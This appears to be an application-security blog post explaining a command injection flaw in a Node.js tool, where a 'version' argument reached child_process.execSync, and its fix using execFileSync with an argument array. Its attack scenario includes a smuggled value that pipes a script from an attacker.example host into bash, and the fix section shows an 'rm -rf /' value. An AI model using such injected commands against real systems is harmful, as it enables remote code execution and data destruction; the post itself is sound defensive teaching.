Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/js/extractPcEntityMetadata.js`, where a `version` parameter was interpolated directly into a shell command string passed to `cp.execSync()`. By replacing the shell-invoking `execSync` with `execFileSync` and passing arguments as an array, the fix eliminates the shell entirely, making it impossible for a malicious `version` value to inject arbitrary commands.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `extractPcEntityMetadata.js` at line 96. The root cause is the use of `child_process.execSync()` with a template literal that interpolates the `version` argument directly into a shell command string. The fix replaces `execSync` with `execFileSync`, passing all arguments as an array, which bypasses the shell entirely and prevents any shell metacharacter interpretation regardless of what `version` contains.

Vulnerability at a Glance

cweCWE-78
fixReplace `execSync()` with `execFileSync()` and pass arguments as an array to bypass the shell
riskAttacker-controlled `version` input executes arbitrary shell commands on the host
languageJavaScript (Node.js)
root causeTemplate literal string interpolation of `version` into a shell command passed to `execSync()`
vulnerabilityCommand Injection via child_process.execSync()

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The Specific Incident

In tools/js/extractPcEntityMetadata.js, a high-severity command injection vulnerability was identified by Semgrep at line 96. The function extractPcEntityMetadata(version, mcdataVersion, opts) accepted a version parameter and passed it — without any sanitization — directly into a shell command string executed via child_process.execSync(). This is a textbook example of how a seemingly convenient one-liner can introduce a critical security primitive into an otherwise functional tool.

This matters beyond the immediate codebase: the pattern of interpolating function arguments into execSync() calls is widespread in Node.js tooling, build scripts, and CLI utilities. Understanding exactly how this breaks, and exactly how the fix works, is valuable for any developer writing Node.js tooling code.


The Vulnerability Explained

What execSync Actually Does

child_process.execSync() in Node.js works by spawning a shell — /bin/sh on Unix or cmd.exe on Windows — and passing your entire command string to it for interpretation. This means the shell sees your string and processes every metacharacter in it: semicolons (;), pipes (|), ampersands (&&, &), backticks (`), $() substitutions, and more.

The Vulnerable Code

Here is the exact vulnerable line from extractPcEntityMetadata.js:96:

cp.execSync(
  `git clone -b client${version} https://github.com/extremeheat/extracted_minecraft_data.git ${sourceDir} --depth 1`,
  { stdio: 'inherit' }
)

The version variable is interpolated directly into the template literal. The resulting string is handed wholesale to the shell. If version contains shell metacharacters, the shell will execute them.

A Concrete Attack Scenario

Imagine version is sourced from a configuration file, a CLI flag, a network request, or any other external input. An attacker who can influence version could supply a value like:

1.20.1; curl https://attacker.example/shell.sh | bash

The shell would then execute:

git clone -b client1.20.1 https://github.com/extremeheat/extracted_minecraft_data.git ./some/dir --depth 1; curl https://attacker.example/shell.sh | bash

The git clone runs (or fails), and then the attacker's payload runs with the same privileges as the Node.js process. On a CI/CD server or developer machine, this could mean:

  • Exfiltration of secrets, tokens, and SSH keys
  • Installation of persistent backdoors
  • Lateral movement within a build infrastructure
  • Tampering with build artifacts

Even a subtler payload could work. The sourceDir variable is also interpolated into the same string — if it contains spaces or special characters, the command breaks or becomes exploitable via path manipulation.

Why This Is Flagged Even Without a Known Exploit Path

The PR description notes this is "defensive hardening" — the version parameter may not currently be directly user-controlled in the typical execution path. However, Semgrep correctly flags it because:

  1. The code structure creates an exploit primitive. Any future change that makes version externally controllable instantly becomes a critical RCE.
  2. Automated exploit-development tools can chain this with other weaknesses (e.g., a path traversal that writes a config file, or an SSRF that influences a version string) to create a full exploit chain.
  3. The fix is trivially easy and has zero impact on valid inputs.

The Fix

What Changed at Line 96

The fix replaces execSync with execFileSync and restructures the arguments from a single interpolated string into an array:

Before (vulnerable):

cp.execSync(
  `git clone -b client${version} https://github.com/extremeheat/extracted_minecraft_data.git ${sourceDir} --depth 1`,
  { stdio: 'inherit' }
)

After (hardened):

cp.execFileSync(
  'git',
  ['clone', '-b', `client${version}`, 'https://github.com/extremeheat/extracted_minecraft_data.git', sourceDir, '--depth', '1'],
  { stdio: 'inherit' }
)

Why This Fix Works

child_process.execFileSync() does not invoke a shell. Instead, it calls the OS execve() system call (or equivalent) directly, passing the executable and its arguments as separate entries in the argv array. The OS kernel handles argument passing, and shell metacharacters in any array element are treated as literal characters — not as shell syntax.

This means that even if version is 1.20.1; rm -rf /, the git process receives the branch name argument as the literal string client1.20.1; rm -rf /, which git will simply reject as an unknown branch. No shell ever sees it.

The sourceDir variable is also now passed as a separate array element, which closes the secondary injection point in the original string.

The Security Improvement in Concrete Terms

Property execSync (before) execFileSync (after)
Shell invoked? Yes (/bin/sh -c "...") No
Metacharacter interpretation Yes No
version injection risk High Eliminated
sourceDir injection risk High Eliminated
Behavior for valid inputs Identical Identical

The fix is a strict improvement: it preserves all behavior for well-formed inputs while completely eliminating the shell injection surface.


Prevention & Best Practices

1. Default to execFileSync / spawnSync Over execSync

In Node.js, execSync should be a last resort. The shell-free alternatives are:

// AVOID: shell is invoked, interpolation is dangerous
cp.execSync(`git clone -b ${branch} ${url} ${dir}`)

// PREFER: no shell, arguments are passed directly
cp.execFileSync('git', ['clone', '-b', branch, url, dir])

// ALSO GOOD: spawnSync for streaming or more control
cp.spawnSync('git', ['clone', '-b', branch, url, dir], { stdio: 'inherit' })

2. Add an Allowlist Validation Layer (Defense in Depth)

Even with execFileSync, validating the version parameter before use is good practice:

function extractPcEntityMetadata(version, mcdataVersion = version, opts = {}) {
  // Allowlist: Minecraft version strings are digits and dots only
  if (!/^\d+\.\d+(\.\d+)?$/.test(version)) {
    throw new Error(`Invalid version format: "${version}"`)
  }
  // ... rest of function
}

This makes the intent explicit and catches malformed input early, before it reaches any system call.

3. Use Semgrep in Your CI Pipeline

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process catches this pattern automatically. Add it to your CI:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: p/javascript

4. Follow the Principle of Least Privilege

Ensure that Node.js processes that call child_process run with the minimum necessary OS permissions. Even if an injection occurs, a sandboxed process limits the blast radius.

5. OWASP and CWE References

This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021 – Injection
- OWASP Command Injection Defense Cheat Sheet: recommends avoiding shell invocation and using parameterized APIs


Key Takeaways

  • execSync + template literals = shell injection risk: Any time you interpolate a variable into a string passed to execSync(), you are trusting that variable to be shell-safe. In extractPcEntityMetadata.js, the version argument had no such guarantee.
  • execFileSync with an argument array is the correct pattern: Splitting the command and its arguments into separate array elements bypasses the shell entirely. This is the idiomatic, safe way to call external programs in Node.js.
  • Both version and sourceDir were injection points: The original one-liner interpolated two variables. The fix correctly moves both into the argument array, closing both vectors simultaneously.
  • "Not currently exploitable" is not the same as "safe": The version parameter may not be directly user-controlled today, but the code structure creates a latent exploit primitive. Proactive hardening prevents future vulnerabilities from being introduced when the calling code evolves.
  • Static analysis tools like Semgrep catch these patterns automatically: The Semgrep rule flagged this issue precisely because it tracks tainted function arguments flowing into child_process calls — a pattern that is dangerous regardless of the current call context.

How Orbis AppSec Detected This

  • Source: The version function argument in extractPcEntityMetadata(version, mcdataVersion, opts) — a value passed in by callers that could originate from external configuration, CLI input, or network data.
  • Sink: cp.execSync(...) at tools/js/extractPcEntityMetadata.js:96, where the version value is interpolated into a shell command string via a template literal.
  • Missing control: No sanitization, escaping, or allowlist validation was applied to version before it was embedded in the shell command string. The shell was invoked unconditionally via execSync.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection")
  • Fix: Replaced cp.execSync() with cp.execFileSync(), passing the git binary and all arguments (including version and sourceDir) as separate array elements, eliminating shell invocation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in extractPcEntityMetadata.js is a clear illustration of how a small, convenient shortcut — using execSync with a template literal — introduces a high-severity security primitive into production code. The version parameter flowed directly from a function argument into a shell command with no sanitization, no validation, and no escaping.

The fix is elegant in its simplicity: replace execSync with execFileSync and pass arguments as an array. No shell is invoked, no metacharacters are interpreted, and the behavior for all valid inputs is identical. This is the pattern every Node.js developer should reach for whenever they need to call an external binary.

Security is often about raising the cost of exploitation. By eliminating this shell injection primitive proactively, the codebase becomes more resilient against future changes that might make version directly attacker-controllable — and against the increasingly capable automated tools that look for exactly these patterns to chain into full exploits.


References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when user-controlled input is embedded in a shell command string, allowing an attacker to append or modify the command. In Node.js, `child_process.execSync()` passes its argument to the system shell (`/bin/sh`), which interprets metacharacters like `;`, `&&`, `|`, and backticks as command separators or substitutions.

How do you prevent command injection in Node.js child_process calls?

Use `execFileSync()` or `spawnSync()` instead of `execSync()`, and pass command arguments as an array rather than a single interpolated string. These functions bypass the shell entirely, so metacharacters in arguments are treated as literals, not shell syntax.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection").

Is input validation alone enough to prevent command injection in Node.js?

Input validation helps but is not sufficient on its own. Allowlist validation on `version` reduces risk, but the most robust fix is to eliminate shell invocation entirely by using `execFileSync()` with an argument array. Defense in depth recommends both: validate input AND use the shell-free API.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep, ESLint security plugins, and CodeQL can detect patterns where `execSync()` is called with string interpolation involving function arguments. The Semgrep rule `javascript.lang.security.detect-child-process.detect-child-process` flagged exactly this pattern in this codebase.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1221

Related Articles

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `Config/QuickAdd/git-add-new-origin-branch.js`, where user-supplied branch names were interpolated directly into a shell command string passed to `child_process.exec()`. The fix replaces the shell-interpolated `exec()` call with `execFile()`, passing arguments as a discrete array and eliminating the shell entirely. This proactive hardening removes an exploit primitive that could have been chained with other weaknesses to achieve a

high

How Command Injection happens in PHP shell execution and how to fix it

A command injection vulnerability in `sitrecServer/windProxy.php` allowed user-controlled input to reach a shell command without proper sanitization, creating a remote code execution risk. The `$cycleHour` parameter was passed directly as a format integer (`%d`) into a `sprintf`-built shell command, bypassing the `escapeshellarg()` protection applied to all other arguments. The fix casts `$cycleHour` to an integer and wraps it with `escapeshellarg()`, closing the injection path entirely.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) in the `shell-quote` npm package versions prior to 1.8.4 allowed attackers to execute arbitrary code by injecting unescaped line terminators into shell arguments. The fix upgrades `shell-quote` from 1.8.2 to 1.9.0 and pins the dependency across `package.json`, `package-lock.json`, and `yarn.lock` to ensure no transitive dependency can pull in the vulnerable version.

high

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

The `shell-quote` package (versions prior to 1.9.0) contained a critical command injection vulnerability where unescaped line terminators in shell arguments could be exploited to inject arbitrary commands. This vulnerability was discovered in the docs-site dependency tree and fixed by upgrading to version 1.9.0, which properly escapes line terminators to prevent attackers from breaking out of quoted arguments and executing malicious shell commands.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.